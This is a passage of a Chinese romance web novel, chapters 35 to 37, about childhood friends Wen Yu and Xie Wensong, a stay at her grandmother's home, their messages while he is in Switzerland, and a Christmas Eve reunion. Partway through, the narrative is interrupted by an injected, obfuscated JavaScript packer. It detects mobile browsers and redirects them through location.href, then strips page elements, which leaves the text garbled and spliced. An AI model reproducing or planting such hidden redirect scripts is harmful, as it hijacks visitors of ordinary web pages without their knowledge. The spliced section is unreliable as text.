谢闻颂这人在外和在里完全是两个模样,比如现在在长辈面前问什么答什么。 除了发尾翘起的一绺头发,其他都是乖顺的。 毕竟这副模样她还是见的少,温遇单手握着杯把走到外婆身后,视线却锁在谢闻颂身上。 谢闻颂怎么可能看不出温遇在默默观察他,仿佛又回到小时候彼此较劲的状态,不过他一点也不担心,甚至还有空回她一个完整的眼神。 气定神闲,丝毫不乱。 简单聊了会儿,谢闻颂从刚才的购物袋里把两盒草莓拿到厨房洗。 这间房子上了年纪,木地板踩上去总是有轻微的响动,阳光已经从格子窗烫进来,浅淡了流苏的颜色。 阳光里能窥见细小灰尘跳跃,温遇看着分了神。 唐熹女士转头一看她站在自己身后,想起什么似的狐疑道:“对了,你还没和我具体说为什么能提早一周?” 温遇没想到她深究这个问题的答案,连忙跑开:“外婆我还有点困,先回屋睡了。” 回屋的几步路上正好和从厨房里洗草莓出来的谢闻颂碰上,细微的目光接触就像两张砂纸在轻轻摩擦。 温遇睫毛颤了颤,什么也没说直接躲进屋里。 “诶你这丫头——”外婆有些担心,坐在那咕哝:“不会是工作上出什么问题了吧。” “没有外婆。”谢闻颂将瓷盘放在茶几上,随手抽了张纸擦流淌到指缝的水,眸光低垂:“她工作上应该挺顺利的,她性格好,想必也不会有什么太大的矛盾。” 谢闻颂都这么说,唐熹女士明显放下心,连说了好几句那就好。 刚才洗水果时怕弄湿袖口就给挽上去,谢闻颂正打算重新翻回来。 外婆声音放小,试探性问:“那她是不是别的方面有事瞒着我啊?比如感情上有问题?我总感觉她像有心事似的。” 谢闻颂翻袖口的动作顿了下。 其实他也不确定温遇到底算不算是在感情上出问题,她这人的负面情绪一向埋得很深很深,除非是那种最亲密的关系,否则根本不会触及她最深最底的情绪。 她给自己的心事上了很多把锁,却只需要一把钥匙就能全部打开。 只是这把钥匙,太难拿而已。 谢闻颂也知道她的脆弱,从不主动暴露在别人面前。 他有些时候其实也是猜,通过这么多年对她的了解猜。 每每这个时候,他还感觉自己挺幸运,至少也和她并肩走过二十年。 有些秘密和回忆,只有他知道,这样的感觉如至美梦,也曾让他无数次回想、无数次庆幸。 只是往往互相做影子的两个人,很难同时转身踏进彼此的黑暗里,脆弱才那么难触摸。 他感觉自己永远差一点拿到钥匙。 差的是。 一句问候,一次回头。 所以我们只做朋友。 35.鱼鱼 35/ 唐熹一个人在家时一般是吃两顿饭,早上七八点吃早饭,下午三四点吃晚饭。 温遇之前因为这个习惯,总是晚上会饿,于是自己准备的零食架总是能派上用场,定期得补货。 这不刚才进屋之前把另一袋子吃的拎回屋里,还没等拆,门板就被人从外面叩响。 她从里面把门打开,谢闻颂正端着碗草莓站在门口。 他没换衣服,穿的还是外套里面的那件衬衫,袖口几滴深色水渍,并不明显。 温遇下意识往他身后看,这个点外婆应该去睡午觉,所以才没有听到什么客厅的响动。 让开门口的位置,温遇坐在床边,谢闻颂把沾着水珠的瓷碗放在她窗边的书桌上,“吃吧。” 草莓是刚刚洗好的,不管是个头还是颜色都相当诱人,顶端的蒂也被谢闻颂摘掉,只留一小截梗。 温遇随意从碗边摸了一个,咬下草莓尖,酸甜汁水四溢。 谢闻颂放下碗之后就靠着书桌站在那儿,双手交叉横在胸前,上半身微微往后仰,视线在她桌面停留。 蓝白格桌布,看上去质感略显陈旧,不过洗得很干净,边缘柔顺垂下。 屋子里光线很好,无处不透露着温馨和舒适,风窗户缝溜进来的时候可以听见窗口悬挂风铃的声音。 桌子上整齐码放置物架,她喜欢的盲盒娃娃都放在一块,每个都擦干净,脸蛋都反光。 那天送温遇去城南别墅的时候,她的书桌也是这样的,白色展示架上放着一些盲盒小人,数量不多,但每个都很有特色,做工还算精致。 谢闻颂不太懂这个,但是也觉得挺可爱的。 倒是她会喜欢上的东西。 视线微转,他看见桌边贴的彩色便利贴。 温遇喜欢在墙上贴便利贴,上面大多是一些日程安排或者碎碎念,这个习惯谢闻颂以前就知道,没想到在这也有。 不过这回不是贴墙上,是贴在桌角,边缘紧挨着贴在一起,至少看上去相当整齐。 整齐到强迫症看了都直呼舒服。 他视力好,微侧着身子不用特意凑近就能看见上面的内容。 其实没想偷窥她隐私的,只是最角落贴的第一张,成功勾起他的思绪—— 【想找个会唱《奥特曼》的男朋友。】 谢闻颂如果没记错的话,高中时有一次来这过暑假时,唐熹外婆曾和他说温遇有段时间沉迷奥特曼,他以为是动漫,连着一周写完作业就点开电脑,按照播出日期从最早的开始看。 一周时间,基本看完了《奥特曼》的全系列。 看完之后总是想找类似的话题,谢闻颂也不太例外,只是还没等他主动提起,便发现了不太对的地方。 比如温遇来找他一起写作业时,看见电脑上的动漫一点反应也没有,完全不符合外婆口中的“沉迷”奥特曼,而且温遇还问他怎么突然看这么热血的番,是不是要朝着中二少年的形象一路进发不可收拾了。 反驳的话被重新吞咽下去。 好吧。 他承认。 这样找话题的方式确实很傻很中二罢了。 他确实也不太会想到自己也有这样做的一天。 可是现在,谢闻颂明显已经把中二评价搁在脑后,因为他感觉这件事有太多需要质疑的地方。 迅速从回忆里捕捉蛛丝马迹,思维快得像上了的发条在噼里啪啦燃着火星子。 燃到半截,谢闻颂大致列出质疑的地方。 《奥特曼》为什么是唱出来的? 难道不是看出来的吗? 而且她如果真的沉迷,为什么看到动漫会没有任何偏向于激动兴奋的反应? 思绪疯狂转动的几秒,谢闻颂处于静止状态,而温遇自然注意到他停滞的目光。 她自认为那些便利贴上面没什么羞耻到不能让别人看的东西,她前几天回来的时候本想着给清理掉,只是又不太舍得。 于是就留到了现在。 “怎么了?”她边吃草莓边问了句。 谢闻颂头没转,随手指了下最角落粉色便利贴的位置:“‘找个会唱《奥特曼》的男朋友’是什么意思?” 温遇先是愣了一下,没想到自己以前还写过这种话,反射性答:“就是找个会唱歌的男朋友啊。” 这句话刚说完,温遇感觉又好像什么也没说,刚想补充什么,倒是谢闻颂神色有点古怪看向她:“一首歌?” 温遇觉得相比自己刚才说的那句话,谢闻颂这句更是匪夷所思,不过也没多想,顺承下来:“对啊,我微信分享给你吧。” 谢闻颂单手撑在桌面上,心脏突突在跳,他只觉得抵在桌边的指尖有点发麻。 听见手机响动,谢闻颂用另一只手点开微信,赫然看见手机屏幕上温遇刚发来的链接。 【《奥特曼》-余佳运】 “……” 谢闻颂好像不太能描述那一瞬间的情绪,仿佛本就泡得饱胀的馒头再次陷入水里,被捞出来的时候有种沉涩的滞闷。 表面往下滴水,有种微妙的下坠感。 谢闻颂维持刚才的动作挡在窗口,衬衫领口被人拂乱似的泛起轻微褶皱。 他就默默站在那,像在思考什么难题。 温遇不知道他怎么突然沉默,只是刚低下头就听见他说。 “原来是这样。” 原来最纯爱的那年,因为一句她沉迷《奥特曼》,他便压缩学习时间将全系列都看完,只为了和她多一些可讨论的话题,却不曾想她说的是一首歌,而被他坚定认为的动漫,她甚至一点也没看过。 比起被自己质疑中二的傻,还是这个彻头彻尾的乌龙更扎心一点。 …… 天黑得挺早,温遇吃过饭跑去床上补了会儿觉,再醒来的时候天已经黑下来。眼罩从头上扯下来,她揉着昏胀的脑袋下意识往窗外看,星星点点的霓虹游离在城市的黑暗中,像一场还未醒来的梦。 她端着自己的杯子打算去餐厅接水,把房门拉开时,客厅竟然是亮着的。 客厅的灯比其他地方暗很多,因为不太怎么用,唐熹就也一直拖着没换。 主要是踩在椅子上不太安全,她总怕摔,就等着哪天找个熟悉的人帮忙换一下。 往常这个点唐熹一般在小区里面和人打牌,只是温遇差点忘记家里还有另外一个人。 谢闻颂正坐在餐桌前看电脑,坐的位置直对她房间门口,所以当她从门口出来的那一刻,就和他四目相对上了。 温遇的脚步带着整个人停在那,下意识道:“早啊。” 话音落下的一瞬间就开始后悔:“不是……” 谢闻颂瞟了眼电脑右下角的时间,顺着她的话:“嗯,是挺早的。” “……” 请不要给这种情绪价值好吗? 这样温遇真的会觉得她自己好傻。 选择无视这句话,温遇单手拿着杯子先去接水。 水壶放在餐桌一角,以她这个角度,得从谢闻颂身后绕过去。 走到他后面,温遇才发现某人上身已经换了一件衣服,一件领子挺大的深棕色的毛衣,看上去触感相当好,毛绒绒的。 从后侧看,还能看见领口下若隐若现的锁骨。 嗯,挺白的,想摸一下。 温遇瞟了眼就移开视线,这才发现自己把水倒在外面了。 还好水是温的,不然非得烫到手不可。 她默默给擦掉,希望谢闻颂没看到。 半杯水下肚,喉咙的干涩感一扫而空,只是饥饿感同时涌了上来,胃里隐隐泛酸。 她眼珠转转,拎着水杯到某人对面坐下,眼神亮晶晶地堆起抹笑容:“谢闻颂,你想吃烧烤吗?” 对方毫不留情戳穿她:“你直接说你想吃就好了。” “只是要是被外婆知道了……”温遇说前半句,谢闻颂几乎不用怎么想就知道她要说什么,笑了声帮她补充:“嗯,我就说是我想吃的。” 有些默契,是漫长时光养成的。 温遇见他这么通透,没忍住无声给他竖了个大拇指,想了想还是矜持一下:“这多不好。” 然后秒速接下句话,生怕某人反悔似的:“那这样,我请你喝果酒。” 谢闻颂就那么看完温遇这一连串连贯的“表演”,目送她一路小跑到冰箱旁,从里面拎出来两听冰镇果酒,彩色易拉罐外面已经泛起水珠,落到他手里时候湿漉漉的。 拿他买的东西请他,温遇丝毫不客气。 可偏偏谢闻颂就喜欢她这种不客气。 因为他觉得,至少在这么很小一段时光里,在漫漫人生路根本算不得多少时间的片段里。 他可以成为离她最近的那个人。 数学里有个概念,叫做“彭罗斯阶梯”,在阶梯上永远无法找到那个最高的点,哪怕一直向上攀登。 所以谢闻颂有时候也觉得,他何尝不是一直这样不停攀登这一个无法被打破的悖论,循环反复走一条路。 他与她各自站在阶梯对角。 时近时远,时密时空。 只有视线相对的时候才觉得近可触摸。 每当这样想时,他才会觉得有点失落。 但也还好。 至少现在,他算是她圈子里的人,没被排斥在外,有什么需要也会有用到自己的时候。 温遇已经拆开拉环,小猫偷腥似的尝了口果酒,发出满足喟叹的声音,正催促他把手里的那罐拆开,她也想尝尝味道。 谢闻颂就顶着暗色的暖光注视她,平静说了声好。 手指绕上金属拉环,心底是一片软化开的糖水,谢闻颂目光自然垂落,极力克制响在耳侧的心跳声。 掌心已经被水珠填满,张力带来的轻微滞涩和他此刻的心情奇妙适配。 但他又觉得,现在也很好。 至少他们还在彼此身边,共享同一个春夏秋冬。 心底的那场夏似乎总是没过去。 好像有她在,永远都是好天气。 不知从什么时候开始,她早已成为自己的夏天。 而他现在所做的一切,都是在守护他的夏天。 - 谢闻颂有事要忙,来余杭也不过是忙里偷闲的安排,第二天一早他就离开了,所以等温遇后知后觉习惯性熬完夜自然醒的时候,家里已经没有谢闻颂存在的痕迹。 只剩下一条搁在沙发扶手上的绒毯,被叠成方块放在那儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14192471|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他起早离开的事没告诉温遇,只是唐熹女士买完菜回来才提起。 温遇无声听完,转身回床头摸起手机,一条新消息也没有,仿佛他昨天根本没来过一样。 可能谢闻颂觉得这并不是什么必须要说的事,温遇起初这样想。 可她好像还是不喜欢这种不告而别的感觉。 当面不说就罢了,信息也没发一个再见。 然后她又想。 算了,不发就不发吧,这是他的自由,她也没必要去纠结什么。 但这样别别扭扭地过了半天,唐熹女士见她心不在焉地扒手头的那碗饭,问起她怎么了。 温遇摇头,将筷头的米粒送进嘴里。 正细嚼慢咽着,对面突然一句:“舍不得小颂了?” 温遇冷不丁被呛到,捂着嘴咳嗽两声,同时连连摆手。 外婆就当没看见一样,把嘴里的鱼刺熟练吐到纸上,自顾自接着说:“不光你舍不得,我这么大岁数也舍不得。” 温遇缓过来劲,勉强把刚才分神的心虚掩饰过去,故作疑惑:“是只有您舍不得他吧。” 唐熹女士看她一眼,拿出以前当老师的款:“人家给你买那么多零食,你连句舍不得都不说?” 要不说老小孩老小孩呢,温遇配合着不停点头,连声道:“我真的舍不得谢闻颂走,特别舍不得,超级舍不得,我恨不得他天天呆在这陪我们俩。” 哄老小孩这方面,温遇可谓得心应手,对各种话术相当驾轻就熟。 所以当唐熹女士固执地要这样一句话时,她没有多加思考,顺着她的意思来。 这次应该满意了吧。 外婆听完她叽里咕噜说完这一段话时突然大笑起来,有种正中下怀的愉悦。温遇眼瞅着她不知从哪摸出来正在语音通话的手机,朝着话筒那头说:“小颂,你听见了吧。” 温遇整个人愣在那,反应过来脸颊迅速升温,差点没原地爆炸,最后一丝理智牵制住她没有主动去抢手机,然后大喊刚才那句话不是她说的—— 其实刚才是她第二人格出来了。 虽然这样做了某人也不会信,反而还会觉得她往回找补的样子实在太过傻气。 对面的谢闻颂说话的笑音明显,隔着屏幕滤过来的声音质感像指缝漏下的沙砾,“嗯,外婆我听见了。” 他微顿,收敛刚才的笑意,对刚才的话做回应:“我也舍不得你们。” 该死,脸怎么会越来越烫了。 温遇握着筷子的手指不自觉松松,刚刚那么浓烈的慌张和羞耻仿佛在一瞬间被抽走,只留下些许无措像落叶徘徊于原地。 她也不知道怎么办的时候,总是习惯装作没事人一样低头,假装刚才的一切什么也没发生。 谢闻颂也没在电话那端cue她,也许是感觉到了屏幕这头的她有些许窘迫,只是和外婆聊了几句便结束通话。 温遇腮帮子被食物撑鼓,抛出憋到现在的问题:“您刚才为什么要给谢闻颂打电话,只为听我说那句话吗?” 唐熹女士推了下眼镜:“今早小颂走的时候你还蒙在被子里睡觉,招呼也没时间打,我本来还想去喊你,还是小颂说别吵你,平时都没什么时间睡懒觉,于是自己拿行李悄悄走了。” “要再不语言上表示表示,人家也太伤心了。” “如果有机会,你回去的时候有时间找他一起吃个饭啥的,别老让人往家里送东西。” “这么多年他也没少帮你,咱也不能做心安理得到觉得任何帮助都是应该的。” 温遇听完沉默下来。 好像确实是这样的。 她和别人其实有很强的距离和分寸感,自认为在人际关系方面还算自如应对,不过到底朋友和别人还是不一样的。 真正能在她身边称得上“朋友”二字的人实在太少太少。 尤其是谢闻颂,或许是一起长大的原因,自己对他多多少少有点依赖性,就好像小时候解决不了的问题总会想找他,到现在都有这样一种冲动。 虽然她已经很努力让自己从中抽离出来,可极个别时刻,她会很有想和他分享心情,甚至想把一小部分负能量挂在他身上的冲动。 就比如那天在警察局里抬眼望见他的一瞬间,温遇其实想了很多话。 比如她想说,谢闻颂,我其实很害怕。 暴露脆弱是她最不常用的方式,却是却有效找到安全感的方式。 然后会继续想如果他没来的话,那么冷的夜晚她要怎么一个人坚持到天亮。 指缝之间那样狭小,狭小到连触碰都是生涩缺氧的,任何情绪被放大都经不起深究。 温遇其实也很清楚,这样的依赖并不是那一日才开始出现的。 心情复杂地吃完午饭,温遇回到自己的房间里,因为窗户开着,房门被内外气流挤压强制关上,声音并不算特别小。 但是她的心脏和那一瞬间的响动同频,重重向上跃动。 单手扶在胸口上,温遇再点开手机的屏幕时,上面赫然有两条十分钟以前发来的信息。 来自谢闻颂。 Bigboss:不要熬夜,早点睡觉。 Bigboss:你回南川那天,我去接你。 36.荔枝 36/ 今年的最后一个法定节假日彻底结束,温遇整理好心情和状态重新投入工作。 调整生物钟需要花几天,相聚的时光总是短暂的,加上又要和外婆暂居两地,温遇总感觉心头被一块阴霾包裹。 从余杭回南川的那天,南川已经连着小一周阴天,雾蒙蒙的天湿气重得让人身上泛起粘腻感。谢闻颂守约来接她,彼此默契不再提前两天的事,只是临进门的时候他突然喊住温遇。 “如果有什么事真的需要我帮忙,别吝啬开口。” 两人互相回头,视线短暂相触。 温遇反应迟滞一拍,随即点点头,然后各自走进相对的两扇门,空间重归于寂静,她却觉得少了点什么。 却又不知道问题到底出在哪里。 不过各种社交软件上某人的交流一如从前,加上温遇又开始忙碌起来,便也慢慢将这种错位感抛之脑后。 再回到社里上班的时候,饶婷专门找了个时间把她叫到办公室,问起上次出差的事情,温遇已经能面不改色将事情起因叙述清楚。 虽然当时确实有很深的后怕。 谈话临到最后时,饶婷看向她欲言又止,最后还是什么都没说,多关心两句便让她去忙了。 饶婷听见门关上的声音,没立刻坐回位置上,只是盯着电脑屏幕。 显示百度百科界面。 岳洲,本科和硕士皆毕业于南川大学法学院,大学期间同时辅修金融学,绩点综合排名年级前1%。2022年获全国十大优秀律师提名,年纪轻轻便已荣膺亚太法律大奖多个称号。 百度下的标签一连串,饶婷拖动鼠标上下挪动页面,也不太能想象到这样的人亲自参与温遇的报警案。 小姑娘平时不声不响的,竟然有这样的人脉。 饶婷刚得知的时候略微差异,然后在今天见到温遇不卑不亢把事情起因说清楚,像是在阐述别人的事,没有多余的情绪掺杂,倒觉得这姑娘稳重低调得很。 不过职场这种地方,低调些总是没错的。 饶婷想,温遇应该也不想树大招风,所以自己就替她保守这个小秘密吧。 - 忙碌起来的日子过得飞快,温遇回去上班的一段时间每天都挺忙,到家勉强撑着精神洗完漱就忍不住往床上跑。 组里办的社交活动她都请假没去,疲惫感上来的时候,动根手指头都觉得累。 看来她真的是天生社畜圣体。 温遇梦回自己高三两点一线的生活,仿佛肩膀上总是压着沉甸甸的东西,还不知道怎么去除这种让人感到迷茫的体悟。 早出晚归的日子过多了有种充实到过头的感觉,好不容易熬到一个稍微清闲点的周末,温遇有时间在厨房捣鼓点新的甜品,包装好准备给隔壁送一份的时候,连续敲了好几次门都没反应。 温遇从睡衣口袋里摸出手机,发信息问谢闻颂是不是不在家。 他这段时间好像也挺忙,国庆之后他们两个见面的次数好像掰着手指头都能数过来,以往都是见面次数大过手机里的信息,这段时间仿佛整个颠倒过来了。 纵使是一起长大的关系,若不是有特别需要问的原因,他们好像也并不会透露彼此的私生活。 这次她也本想不去问的,但温遇突然想起那天外婆和自己说的话。 这段时间确实有点忙过头了,连自我反思都慢半拍,温遇小小叹了一口气。 她一般做事不怎么纠结,决定好了就会直接行动,不带一丝矫情。 发完信息之后,她又在门口站了会,确定也没听见里面核桃的声音,温遇转身进屋关上门,刚把手里的纸袋放到桌子上,手机提示音响起。 温遇偏头把手机从桌边拿起来。 Bigboss:嗯,大概一个月都在外面。 Bigboss:应该能赶在圣诞之前回去。 一个月。 温遇算了下时间,发现谢闻颂在一周前就已经离开南川,她竟然现在才发现。 一瞬间,她突然语塞,不知道该怎么回复。 指尖停在屏幕前,输出的每个字都要在生锈的脑海里翻滚过一遍才能打出来。 Bigboss:又做好吃的了? Bigboss:可惜这次我不太有口福了【大哭】。 后面跟的表情和他平时的风格太不符了,温遇不自觉笑出声,实在想不出来谢闻颂大哭的样子。 小时候的谢闻颂都不爱哭,更别提现在了。 如果眼泪是根据掉落的次数决定价值,那他的眼泪珍贵程度应该不亚于人鱼公主的珍珠眼泪。 小鱼丸了:没事,那就等你回来再做。 这次顶端的“对方正在输入”持续久一些。 Bigboss:我在瑞士,这边晚上大大小小的店铺都开始装扮,准备庆祝两周以后的圣诞节了。 Bigboss:南川是不是很冷? 指腹贴在微微发热的屏幕上,她打:嗯,是有点冷。 说完这句,温遇犹豫着也回问他:瑞士也冷吧。 Bigboss:嗯。 Bigboss:前几天有同事说自己脱单了。身边人问他是不是要开启一段异国恋,结果他说“因为天冷,他开始穿两件了”。 脱单的意思原来是脱掉单衣换成两件。 温遇仰躺在沙发上,看到这句噗嗤笑出声:后来你们怎么说? Bigboss:后来他找别的女孩要联系方式时,对方回复自己是lesbian,周围别的同事调侃他好几天,说非得卖个不值钱的幽默,这下好,子弹正中眉心。 温遇不禁莞尔,换成侧躺的姿势,不知不觉聊了几句话的功夫,她感觉自己心情也轻松很多。 明明刚才得知谢闻颂不在家的时候还挺低落。 想起刚才没在对面听见核桃扒门的声音,温遇问起小狗近况。 谢闻颂说给核桃暂存到宠物中心了,原本想放在林思睿家里,结果他这段时间也挺忙,估计没时间照顾它。 聊到这,她略微思索了下:要不把它接到我这? 她虽然忙,但是每天都基本能按时到家,反正谢闻颂还有两周左右就能回来,她总是能照顾得到的。 Bigboss:年底你们工作应该挺忙的,核桃睡觉呼噜声大,别打扰你了。 温遇圈着抱枕,默默反驳:我觉得核桃挺乖的。 谢闻颂拗不过她,只好说联系宠物中心让她去接,然后核桃这边缺什么就去他家里拿。 Bigboss:你输密码进去就行。 Bigboss:门锁密码93698。 …… 次日是周天,温遇去宠物中心把核桃接回来,小家伙浑身的毛柔顺发亮,精神状态也很不错,看样子被养得挺好。 温遇去接它时,小狗异常兴奋,但又怕自己直愣愣扑过去吓到她。只围着她的雪地靴来回打转。 温遇牵好狗绳,摸了把它的头:“我们回家。” 从谢闻颂家里把核桃平时用的东西拿过来,温遇还给他录了段视频发过去,问有没有缺什么。 谢闻颂估计在忙,没有立刻回消息,她双脚踩在指压板上跟手机上的视频练瑜伽,核桃就蹲在旁边,她休息的时候就过来拿小鼻子蹭她脸。 温遇头上出了汗,等坐下休息时谢闻颂已经回复她刚才发去的消息,说没有缺的东西了。 她本来想结束对话,但突然想起毛孩子他爸应该很久没有看见核桃了,于是伸手招呼趴在暖气旁边的小狗过来。 核桃乖乖听话凑到她身边,温遇单手从它身后圈过去,另一只手端着手机来了张俯拍合影,发给谢闻颂。 小鱼丸了:【图片】 小鱼丸了:在国外注意安全。 小鱼丸了:还有,你家小狗很想你^_^。 …… 距离谢闻颂说返回南川的日子还有三天时,温遇不知道为什么突然开始紧张起来。 做早饭煎鸡蛋的时候难得分神去查今天苏黎世飞南川的航班时间,差点把蛋煎糊了,还是核桃闻到味叫了一声,温遇才把火关掉。 谢闻颂也没和她说具体的日期,只是说大概定在这两天,要忙完才能回来。 上班路上在便利店买了瓶胡萝卜汁,结账时售货员问她要不要加十块换购平安果,温遇看了眼上面红金色的丝带,摇摇头。 今天是平安夜。 他说圣诞之前回来的话,应该就是今天吧。 心里揣着事,温遇觉得上午的时间过得挺慢。 她和林檬吃过午饭之后下到一楼的咖啡厅,后者请她喝了一杯新品拿铁。 时间还早,两人留在一楼决定把今天的下午茶时光提前。 咖啡现在喝还很烫嘴,温遇垂头将慕斯蛋糕的一角切下来,刚放进嘴里,林檬在对面默默观察小姑娘的反应:“怎么,有心事啊?” “想不明白和你姐姐我说说也行,别一个人憋着啊。” 温遇嘴里嚼着蛋糕,组织一下语言:“檬檬姐,我有个朋友……” “停停停。”林檬白了她一眼,“你就直接说你吧,还和我扯什么朋友?” “……” 温遇噎了一下,也不知道自己刚才为什么要用那么老套的开头。 一下子就能被戳穿。 “就如果有一个朋友帮了你很多忙,然后他前段时间出去忙了没时间见面,这几天要回来,你要怎么办?” 林檬觉得这话没头没脑的:“什么怎么办?” “就是,见面第一句话该说什么?” 林檬头一次在温遇脸上看到这种纠结的神情,似乎还掺杂点茫然和紧张,顿时觉得新奇:“你朋友?” 见温遇点头,她直接问:“男性朋友?” “嗯。”温遇没否认。 林檬思索道:“那你们应该挺熟的吧,不然应该也不会帮你很多忙?” “从小一起长大的。” “我靠。”林檬眼睛都睁大了,整个人凑到她眼前:“青梅竹马啊。” 温遇没想到能被林檬这么快点破,下意识点头。 “不是,你身边藏了个男人?还瞒了我这么久?我以为你一直母胎solo呢。” 温遇张了张嘴。 林檬嘴太快,反应完连忙拍了下自己的脑门:“对,我忘了,不一定所有青梅竹马都能在一起。” “那你这么紧张干嘛。”林檬品了口手边的拿铁,半糖还是苦得她直皱眉,“认识那么多年了,不应该彼此都很了解对方吗?会连第一句说什么话都纠结吗?” “放心吧,听描述,你朋友这人应该差不到哪儿去。如果担忧太多未知反而容易弄巧成拙,顺其自然呗,到时候没准自然而然就聊起来了。” 温遇觉得她说的有道理,自己在心里把自己劝服,却没发现林檬逐渐八卦起来的眼神,仿佛燃烧着熊熊火焰。 “你竹马帅吗?” 温遇点头。 林檬有点激动地嗷一声,双手已经握拳向上举起,温遇继而投来疑惑的目光。 “那你们没有暧昧过?这么多年一起走下来,在适合的年龄就没有考虑过彼 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要不要后面,温遇始终没找到能表达自己心意的词语,于是两个人的交流再次陷入瓶颈。安静过程中,温遇将盘子上最后一点奶油刮干净,听见林檬的问题—— “那你喜欢他吗?” 温遇整个人愣在那,“喜欢”两个字仿若加粗弹幕在脑海放大循环播放。 她一边机械性地在意识里搜寻“喜欢”的定义,一边试图在上衣边找到一根能被明显摸到的线头,寄托自己无处安放的情绪。 什么喜欢啊。 怎么可能是喜欢。 咖啡厅里正在放王力宏的《你不在》。 【那些摇摆,我都明白,都明白】 【但你不在,爱已不在】 【当我最需要爱,你却不在】 【不在,你不在,一个人分饰两角的恋爱】 这几句“在不在”仿佛演化成字稍微小一点的弹幕,无声掩映在巨大的“喜欢”二字后面,密密麻麻排列成背景板。 “如果你不喜欢,那你怎么感谢普通朋友,就怎么感谢他就好了。” 林檬顿了顿,有些复杂看她:“不过如果你喜欢……” “那这个问题的答案,可能就要你亲自去找了。” 心脏从手中漏下,咚一声砸进水里。 歌还在放。 【像空气般不存在的存在,再没有痕迹的爱】 【你不在,当我需要你的爱,你不在】 - 平安夜的这天周五晚上,温遇很难得地失眠了。 国庆后回来的工作安排排的满满当当,她每天回家基本都是倒头就睡的状态,已经很少失眠。结果今天下午和林檬聊完,后遗症持续到这个点,她丝毫酝酿不出来困意。 手机放在床头灯下面,突然响起闹钟。 23:55 距离圣诞节还有五分钟。 手机还没有收到谢闻颂的任何消息,自从三天前他和自己说返程时间也许要变更之后,他们就再没有过交流。 时间迫近零点,温遇竟然有些心慌起来。 在床上烦躁地滚了一圈,刚要拿起手机,一通电话刚好打进来,心脏开始不受控增速。 她隐隐猜到这通电话是谁打来的。 没有犹豫地点击接听,甚至连来电人的备注都只在眼前一晃而过。 她甚至已经想好如果这通电话并不是谢闻颂打来的会怎么样,猜错的那一瞬间她会想什么,会不会因为这份窘迫而仓促挂断电话? 手机听筒对准耳边,所有猜测戛然而止。 声音透过来:“你现在方便来隔壁一趟吗?” 温遇压下心脏的狂跳,短短一句话的时间,她猜到什么又不敢确定,只能努力平稳语气:“好。” 只是一个字而已,从想再到说出口,竟也如此曲折。 她在家居服外面套了件毛衣外套,趿拉拖鞋来到隔壁,然后输入密码。 门自动打开,温遇先握着扶手把门关上,转身的同时餐厅正上方的灯被人打开。 谢闻颂站在离她几步远的地方,单手撑在桌面上,动作是那么随意,但脸上的表情却又那样认真。 隔了段时间见面,视线仿若两张揉皱的纸相叠,纸质熟悉,只是皱褶新奇。 只是他看她的眼神,她读不懂。 温遇下意识屏住呼吸。 “圣诞快乐。” 他说:“我没食言。” 温遇神经一松,维持着站在门口的动作。 跳入水底的心脏现在才浮起来,摸上去,表面已经柔软下来。 看到他的一瞬间,温遇尽管心底早有预感,身体却还是不受控制地僵在那,像在等什么契机重新复活。 谢闻颂没撑桌的那只手指了指阳台上崭新的圣诞树,回望她时眼光漾起波浪般的柔和。 “你之前不是说我阳台太空,想摆一棵圣诞树吗?” “还没装饰呢。”谢闻颂撑在桌面的那只手点亮手机屏幕,低头的瞬间唇角微弯:“正好圣诞节了,要不一起打扮一下?” 是上次把盆栽搬到他这说的话。 温遇突然觉得他家里好热,下意识伸手碰了下脸,仓促低头想要换鞋,却发现自己穿的就是拖鞋。 为了掩饰这种因为傻里傻气造成的尴尬,她说:“你记性挺好的。” 她低头的模样在谢闻颂眼里倒觉得格外稀罕,似乎兔子本体又难得暴露在他眼前,他走过来把餐厅的灯关掉,顺手打开阳台灯,经过她时轻飘飘说了句。 “你说的话,我什么时候没当真?” 37.荔枝 37/ 温遇原本想在元旦三天小长假里认真考量一下自己和谢闻颂之间的事,结果还没等她开始思索呢,某人便主动上门了。 原因是一盒崭新的拼图。 这还得追溯回前些时间谢闻颂还在瑞士时,温遇提出跨年夜要是他没事忙的话,可以来隔壁一起拼图,正好她之前买的《冬灯》还没拆塑封,两个人一起拼的话应该能很快拼完。 不过她没料到的是,从她提出拼图再到林檬问她的那句话,几天的时间,事情发展超出她的意料。 因为林檬提出了一个她之前从没考虑过的方向。 上头的时候,温遇甚至在想要不要收回邀请他拼图的话。 但后来还是没说,因为她感觉只有自己在别扭,不应该将这股情绪扯到不知情的谢闻颂身上。 那天从谢闻颂那儿回到自己家里,已经是后半夜的事了,周末缓过去又继续陷入年底的忙碌里,她根本没时间想多余的事情。 其实温遇自己也得承认,没时间是一方面,还有就是她也不太敢深想这件事。 这才是最重要的原因。 自从上次从陆星桓的宴会上回来,自己已经有段时间没有了解有关他的信息,只是偶尔能在娱乐版面上看到他和季霖菲的报道,不过因为忙碌也只是匆匆扫过一眼,并没放在心上。 然后温遇发现自己心头已经没有涟漪了,她再也不会像过去的无数个瞬间一样,被突然涌出来的酸涩情绪搅得不知所措,也再不会陷入无端的茫然里短暂看不清眼前要走的路。 然后当她重新审视自己前一段“感情”,发现这好像又不能算是喜欢。 没有占有欲,没有私心,这份感情干净轻薄得能让她看到自己的倒影。 它更像是一件内容未知的信件,这么长时间内,只有她一人已阅。 不过没关系,只有她一人看过也是最好的结果。温遇也不需要第二个人去看,她足够坚定,也足够淡定独自面对这份心情。 现在的没有结果也是一种结果,她很满意。 想到这,温遇感觉浑身都轻飘飘的,仿佛有什么沉重的锁链从她身上被拿开。 不管她之前寄托的这份情感究竟是什么,但她现在知道,自己已经要放下了。 想清楚这件事,温遇尝试着将自己和谢闻颂之间的感情与它做对比。 发现这两种情感又是完全不同的。 甚至没有什么可比性。 因为她好像不管什么时候,谢闻颂都一直在她身边。 无需她特意花时间用目光搜寻,视线所及,总是能看到他的身影。 